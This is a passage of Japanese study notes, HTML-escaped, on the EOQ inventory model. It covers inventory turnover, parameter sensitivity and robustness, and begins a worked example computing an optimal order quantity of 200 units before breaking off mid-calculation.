&lt;div&gt;&lt;span&gt;ここで $&lt;/span&gt;&lt;span&gt; T^* $&lt;/span&gt;&lt;span&gt; は年単位で表される。日単位に変換する場合は、年間営業日数で割る必要がある。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 在庫回転率&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;在庫管理の効率を測る指標として&lt;/span&gt;&lt;span&gt;**在庫回転率**&lt;/span&gt;&lt;span&gt;がある：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{在庫回転率} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{年間需要量}}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{平均在庫量}} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{Q/&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;R}{Q}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;在庫回転率が高いほど、在庫が効率的に回転していることを示す。EOQモデルでは：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{在庫回転率} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;R}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}}} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; R}{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図5: 在庫回転率の計算**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "在庫回転率の計算"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[年間需要量R&amp;lt;br/&amp;gt;Annual Demand] --&amp;gt; C[在庫回転率&amp;lt;br/&amp;gt;Inventory Turnover&amp;lt;br/&amp;gt;IT = R / I_avg]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B[平均在庫量I_avg&amp;lt;br/&amp;gt;Average Inventory&amp;lt;br/&amp;gt;I_avg = Q/2] --&amp;gt; C&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; D[回転率の解釈&amp;lt;br/&amp;gt;IT大: 効率的&amp;lt;br/&amp;gt;IT小: 非効率]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "EOQモデルでの表現"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E[最適発注量Q*&amp;lt;br/&amp;gt;Q* = √2C_0R/C_1] --&amp;gt; F[平均在庫量&amp;lt;br/&amp;gt;I_avg = Q*/2]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; G[在庫回転率&amp;lt;br/&amp;gt;IT = 2R/Q*&amp;lt;br/&amp;gt;= √2C_1R/C_0]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### EOQモデルの感度分析&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### パラメータ感度の定量化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;パラメータの誤差が最適発注量に与える影響を分析する。感度係数（Sensitivity Coefficient）を用いて定量的に評価する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**発注費用 $&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; の感度**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;発注費用が $&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; だけ変化した場合の最適発注量：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Q^*_{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{new}} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; (C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;) R}{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}} = Q^* &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Delta C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;感度係数 $&lt;/span&gt;&lt;span&gt; S_{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;} $&lt;/span&gt;&lt;span&gt; は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;S_{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial Q^*}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}{Q^*} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;R}{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;}{Q^*} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これは、発注費用が1%変化すると、最適発注量は0.5%変化することを意味する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**需要量 $&lt;/span&gt;&lt;span&gt; R $&lt;/span&gt;&lt;span&gt; の感度**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;同様に、需要量の感度係数は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;S_R = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial Q^*}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial R} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{Q^*} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**保管費用率 $&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; の感度**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;保管費用率の感度係数は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;S_{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial Q^*}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;partial C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{Q^*} = -&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### ロバスト性の評価&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;感度係数がすべて $&lt;/span&gt;&lt;span&gt; |S| = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &amp;lt; &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; であることから、EOQモデルは&lt;/span&gt;&lt;span&gt;**比較的ロバスト**&lt;/span&gt;&lt;span&gt;（Relatively Robust）である。これは、パラメータの誤差が最適発注量に与える影響が緩和されることを意味する。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 感度分析の可視化&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図6: 感度分析の可視化**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "パラメータの変化"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[パラメータの誤差&amp;lt;br/&amp;gt;Parameter Error&amp;lt;br/&amp;gt;ΔC_0 ΔR ΔC_1] --&amp;gt; B[感度係数の計算&amp;lt;br/&amp;gt;Sensitivity Coefficient&amp;lt;br/&amp;gt;S = ∂Q*/∂P × P/Q*]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "感度係数の値"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; C[発注費用C_0&amp;lt;br/&amp;gt;S_C_0 = 1/2&amp;lt;br/&amp;gt;1%変化→0.5%変化]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; D[需要量R&amp;lt;br/&amp;gt;S_R = 1/2&amp;lt;br/&amp;gt;1%変化→0.5%変化]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; E[保管費用C_1&amp;lt;br/&amp;gt;S_C_1 = -1/2&amp;lt;br/&amp;gt;1%変化→-0.5%変化]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "ロバスト性の評価"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        C --&amp;gt; F[すべて absS = 1/2 &amp;lt; 1&amp;lt;br/&amp;gt;比較的ロバスト]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; F&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; F&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; G[パラメータ誤差の&amp;lt;br/&amp;gt;影響が緩和される&amp;lt;br/&amp;gt;Robust Model]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "費用への影響"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H[発注量の誤差ε&amp;lt;br/&amp;gt;Q = Q*1+ε] --&amp;gt; I[費用への影響&amp;lt;br/&amp;gt;CQ ≈ CQ*1+ε²/2&amp;lt;br/&amp;gt;二次的影響]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; J[誤差の影響が&amp;lt;br/&amp;gt;小さく抑えられる]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 費用関数の感度&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;最適発注量の誤差が総費用に与える影響を分析する。$&lt;/span&gt;&lt;span&gt; Q = Q^*(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon) $&lt;/span&gt;&lt;span&gt; とすると：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;C(Q) &amp;amp;= C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{R}{Q^*(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon)} + C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{Q^*(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon)}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;} \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= C(Q^*) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon} + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;+&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right) \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx C(Q^*) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;left(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;right)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで、$&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;varepsilon $&lt;/span&gt;&lt;span&gt; が小さい場合の近似を用いた。この結果から、発注量の誤差は二次的に費用に影響することがわかる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 問題①　最適発注量の計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 問題文&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ある商品の年間総需要 $&lt;/span&gt;&lt;span&gt; R $&lt;/span&gt;&lt;span&gt; が5,000単位、1回あたりの発注費用 $&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; が16,000円、商品1単位あたりの年間保管費用 $&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; が4,000円のとき、最適発注量 $&lt;/span&gt;&lt;span&gt; Q^* $&lt;/span&gt;&lt;span&gt; とそのときの総在庫費用 $&lt;/span&gt;&lt;span&gt; C^* $&lt;/span&gt;&lt;span&gt; を求めよ。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 与えられた値&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; R = &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 単位&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;16&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 円&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;000&lt;/span&gt;&lt;span&gt; $&lt;/span&gt;&lt;span&gt; 円&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 計算フロー&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図7: 最適発注量の計算フロー**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[問題の設定&amp;lt;br/&amp;gt;R=5000 C_0=16000 C_1=4000] --&amp;gt; B[EOQ公式の適用&amp;lt;br/&amp;gt;Q* = √2C_0R/C_1]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; C[数値の代入&amp;lt;br/&amp;gt;Q* = √2×16000×5000/4000]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; D[計算&amp;lt;br/&amp;gt;Q* = √160000000/4000&amp;lt;br/&amp;gt;= √40000]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; E[最適発注量&amp;lt;br/&amp;gt;Q* = 200単位]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; F[総費用の計算&amp;lt;br/&amp;gt;C* = C_0×R/Q* + C_1×Q*/2]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    F --&amp;gt; G[数値の代入&amp;lt;br/&amp;gt;C* = 16000×25 + 4000×100]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    G --&amp;gt; H[総在庫費用&amp;lt;br/&amp;gt;C* = 800000円]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    E --&amp;gt; I[検証&amp;lt;br/&amp;gt;発注費用 = 保管費用&amp;lt;br/&amp;gt;400000 = 400000]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    H --&amp;gt; I&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 計算過程&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 最適発注量 $ Q^* $ の計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;EOQ公式を用いる：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;Q^* = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sqrt&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; C_&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; R}{C_&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;値を代入：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
